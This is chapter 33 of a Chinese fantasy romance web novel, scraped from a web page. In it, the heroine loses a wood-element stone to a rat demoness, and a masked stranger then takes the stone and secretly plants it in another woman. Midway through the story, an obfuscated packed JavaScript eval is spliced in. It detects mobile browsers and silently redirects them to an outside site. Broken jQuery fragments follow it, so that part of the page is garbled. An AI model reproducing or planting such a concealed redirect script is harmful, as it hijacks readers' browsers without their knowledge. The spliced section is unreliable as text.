33. 再启新途

作品:《把灭族仇人的下属拐跑了

    晨光透过竹窗,映到南宫旭的脸上。


    他缓缓睁开双眼,只觉浑身不似往日沉重,倒是好转了许多。


    他动了动手指,指尖触到被褥,这细微的动静,恰好惊醒了趴在床边的紫鸢。


    紫鸢猛地抬头,待看清南宫旭清醒的模样,瞬间喜上眉梢:“旭哥,你终于醒了。”


    南宫旭坐起上身,目光扫过空荡的木屋,轻声问道:“身子轻快了许多,只是……阿竹姑娘去了何处?”


    “她去寻叶公子了。”紫鸢说着便起身,伸手将他扶起,叮嘱道,“你刚醒,身子还虚,莫要多动。我去趟柳府寻下阿竹,你在此好生静养,我很快回来。”


    南宫旭点头应下,目送紫鸢推门离去。


    待紫鸢抵达柳府时,却见往日荒败的柳府竟变了模样:


    院内不再是齐腰的荒草,反而遍地生出翠绿的新竹,竹影婆娑,随风轻摇。


    府中也褪去了往日的阴寒,晨光透过竹叶洒下,暖意融融。


    那些新竹的竹节间,还泛着稍浅绿光,渐渐汇聚成一道人影,正是阿竹。


    阿竹面带笑意地看向紫鸢:“紫鸢姑娘,多谢你从中相助,若不是你,我与锐青怕是要一生都困在误会之中。”


    她说着,抬手抚上心口,从中取出那枚碧色木行石,送到紫鸢面前,“此石便交予你,愿他日有缘,再得相见。”


    紫鸢伸手接过木行石,抬头看向阿竹,却见她身影逐渐变得透明,化作点点绿光,融入周围的新竹之中。


    没了木行石的灵力支撑,阿竹虽无法再维持人形,但若能潜心修炼,日后总有再化形的机会。


    而这一次,有叶锐青的魂体相伴,她在竹林中便不会感到孤单。


    世间爱意,大抵皆是这般决绝相守的模样。


    她握紧手中的木行石,转身便要离去。


    忽有一缕绿光闪过,紫鸢手中的木行石竟凭空消失。


    她猛地抬头,只见敏儿立于墙头,那双绿眸正嘲讽望向她。


    “多谢琼殿下,不枉我在此守了几日。”她手中正把玩着那枚木行石,碧色光芒在她掌心闪烁着。


    “你倒是阴魂不散。”


    紫鸢冷下脸,指尖凝聚起紫色法力,朝着敏儿挥去。


    敏儿得手后正欲遁逃走,见紫鸢攻势凶猛,吓得魂飞魄散,拼尽全力躲闪,却嗤笑试图扰乱紫鸢心神


    “殿下何必动怒呢?”


    紫鸢怒火更盛,攻势愈发精准,招招直逼要害,全然不给敏儿喘息之机。


    紧接着紫鸢指尖灵力化作数道利刃,直追她后心而去。


    敏儿躲得了第一道灵力刃,可后续刃气接踵而至,她只能狼狈地翻滚在地,衣衫被划开数道口子。


    她闪避之术虽练得纯熟,却架不住紫鸢招招碾压,不过数回合,她竟毫无力气再躲闪。


    见敏儿强撑着身子,紫鸢足尖一点,一掌狠狠拍在敏儿后背。


    敏儿被拍倒在地,未等她稳住身形,紫鸢已步步逼近,只待最后一击便可取她性命。


    她看着近在咫尺的紫鸢,心想自己决不能死。


    她强撑着剧痛从怀中掏出小巧的瓶子,猛地拔开塞子,一团灰色粉尘瞬间炸开,迷了紫鸢的双目。


    紫鸢急退半步抬袖遮目,那气味难闻至极,她连咳了几声。


    敏儿抓住机会,慌忙起身逃离了此地。


    “休要逃!”紫鸢正欲追击,却见敏儿的身影已消失不见。


    木行石被夺,少了一分对抗妖王的胜算,须尽快告知南宫旭商议对策。


    她压下心中烦闷,转身快步返回木屋。


    刚推开门,便见南宫旭已站在屋中,试着活动了一下筋骨,虽步伐仍虚浮,却已无大碍。


    “身子还没好怎的起身了?”


    “你瞧,我这不是好好的吗?”南宫旭笑着在她面前转了一圈,但见紫鸢神色低落,便知定是出了变故,收敛了笑意,“怎么了?阿竹姑娘那边……”


    “阿竹姑娘随叶公子阴于竹林了。”紫鸢叹了口气,满是愧疚,“是我无用,未能护住木行石,被那鼠妖抢走了。”


    “鼠妖?”南宫旭眉头微蹙,“想来是妖王手下的鼠妖,她们向来擅长追踪隐匿。看来,兄长已是按捺不住了。”


    “那我们接下来该如何?是去寻子寅他们汇合吗?”


    “眼下还不是时候。”南宫旭摇了摇头,看向紫鸢颈间的护心项链上,“我们先去寻金行石。”


    紫鸢低头看去,那护心项链忽地亮起。


    淡紫色的光芒在空中凝成一幅画面:画面中是一座依山而建的山寨,寨门前挂着“金羽寨”的匾额,寨中喧闹,似在举办什么盛典。仔细看去,只见一位女子立于高台上,身旁的木牌上写着“招婿”二字,那女子眉眼明艳,正是金羽寨的寨主金羽。


    二人四目相对,皆是心领神会。


    “这金羽寨,或许便是金行石的藏身处,说不定还能在此与五弟他们相遇。”


    “好!那我们即刻动身!”


    当下,南宫旭虽仍需调养,却也不愿耽搁。


    晨光中,他们并肩走出竹林,朝着金羽寨的方向而去。


    另一边,敏儿把玩着手中的木行石。


    她左看右看,那石头除了泛着绿光,竟无半分特别之处,连法术都探不出内里玄机。


    “这破石头到底有何用处,竟让妖王如此看重?”她忍不住低骂一声,随手将木行石抛起又接住,漫不经心地在林间踱步。


    定睛一瞧,一抹艳红映入眼帘,前方竹影下,站着一位身着红衣的女子。


    敏儿眯起绿眸,仔细打量片刻,心中骤然一喜:这不是虹嫣吗?


    她咧嘴露出尖利的獠牙,暗自盘算:若能杀了虹嫣,再将她的尸身献给妖王,定能邀功请赏,说不定还能晋为得力干将,岂不快哉!


    可转念一想,妖王曾严令禁止下属私自行动,不得插手任务之外的事。


    敏儿撇撇嘴,心想管他什么禁令,只要能立下功劳,妖王定会赦免这点小错,届时自己便是功臣,何乐而不为?


    敏儿放轻脚步,绕到虹嫣身后,利牙外露,浑身紧绷,正欲发动突袭。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975418|192124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    谁知就在此时,一股强劲的气波袭来,砸在她的腹部。


    敏儿只觉五脏六腑都像移了位,身体不受控地向后飞去,猛地撞在粗壮的竹干上,竹子剧烈摇晃,落下满地竹叶。


    她顺着竹干滑到地面,疼得龇牙咧嘴,捂着肚子勉强站起身。


    抬眼望去,只见前方不知何时多了位身着素白长袍的男子。


    他戴着红白色的赤狐假面,遮住大半面容,乌黑长发披散身后,气场强大,想必法力了得。


    “你今日必将命丧于此。”


    敏儿闻言,捂着肚子哈哈大笑,笑声中满是讥讽:“少说大话了!装神弄鬼的东西,也敢在此放肆?”


    男子懒得与她多言,掌心已聚起一团黑气,黑气盘旋涌动,朝敏儿直逼而去。


    敏儿刚想转身逃窜,却发现身体竟被一股无形的力量定在原地,动弹不得。


    她眼睁睁看着那团黑气越来越近,最终重重砸在胸口。


    旧伤未愈又添新伤,敏儿苦不堪言,只觉浑身力气都被抽干。


    她边咳边吐血,此人法力高深,绝非自己能敌,必须尽快逃走。


    反正横竖都是死,不如拼一把。


    她猛地咬破舌尖,强行催动体内仅剩的妖力,让自身妖气化为灰雾,瞬间笼罩了周遭。


    男子施法将雾气散开,可敏儿早已化作一道绿光,消失在竹林深处。


    男子俯身捡起地上遗落的木行石,冷哼一声:“倒让你逃了。”


    那黑气自带剧毒,沾染者不出一个时辰,便会毒发身亡,连尸骸都剩不下。


    男子将木行石收入袖中,转身隐入竹影深处。


    此时,虹嫣似是察觉到身后的动静,转身回望,却只见空荡荡的竹林,除了随风摇曳的竹叶,并无半个人影。


    “许是我多心了。”


    她自言自语道,重新转过身,继续朝着竹林外走去。


    她漫无目的地往前走着,想着四处走走寻找着五行石的下落。


    而竹影深处,白衣男子望着虹嫣离去的背影,眸中翻涌着的,似有眷恋,又是隐忍。


    他跟在虹嫣身后,缓缓抬手,指尖萦绕着一团黑雾,木行石藏于其中。


    他屈指一弹,雾团悄无声息地落在虹嫣身后,随即化作一道碧光,钻入她的体内。


    虹嫣然浑身一僵,只觉一股温热的气流涌入,胸口发闷,忍不住连咳了几声。


    她只觉浑身发热,只是这种感觉很快就消散了。


    她揉了揉胸口,并未放在心上,只当是赶路受了些风寒。


    那赤狐假面下的目光,始终落在她的身上,不知在谋划着什么。


    待走出竹林,忽闻前方人声鼎沸,热闹非凡。


    虹嫣抬眼望去,只见不远处山坳间有座山寨,门楣悬着“金羽寨”匾额。


    她凝神细看,只见寨中高台上立着一位黄衣女子,风姿绰约,颇显几分俏皮,正举着酒杯向台下示意,更添当家做主的气派。


    女子目光扫过台下众人,视线越过人群,恰好与虹嫣望过来的视线对上。